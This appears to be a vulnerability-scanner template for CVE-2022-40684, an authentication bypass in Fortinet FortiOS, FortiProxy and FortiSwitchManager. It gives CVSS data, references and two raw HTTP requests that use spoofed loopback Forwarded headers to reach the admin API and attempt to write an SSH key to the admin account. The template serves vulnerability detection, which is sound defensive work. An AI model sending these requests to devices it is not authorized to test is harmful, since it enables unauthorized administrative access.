id: CVE-2022-40684 info: name: Fortinet - Authentication Bypass author: Shockwave,nagli,carlosvieira severity: critical description: | Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device. remediation: | Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability. reference: - https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py - https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/ - https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684 - https://nvd.nist.gov/vuln/detail/CVE-2022-40684 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-40684 cwe-id: CWE-287 epss-score: 0.97217 epss-percentile: 0.99817 cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: fortinet product: fortiproxy tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive http: - raw: - | GET /api/v2/cmdb/system/admin HTTP/1.1 Host: {{Hostname}} User-Agent: Node.js Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host= X-Forwarded-Vdom: root - | PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: {{Hostname}} User-Agent: Report Runner Content-Type: application/json Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000; Content-Length: 610 { "ssh-public-key1":"{{randstr}}" } stop-at-first-match: true matchers-condition: or matchers: - type: word part: body_1 words: - ENC XXXX - http_method condition: and - type: word part: body_2 words: - Invalid SSH public key. - cli_error condition: and # digest: 4a0a00473045022100ecd342ecd1ddb863f225cc6136e9bc2bee1dd54adfdfe4bd199aae259088ce9902204ae159dde8793d19d05e1809870cd28bb6da2e7a9ce835bdb59a391acfd4000e:922c64590222798bb761d5b6d8e72950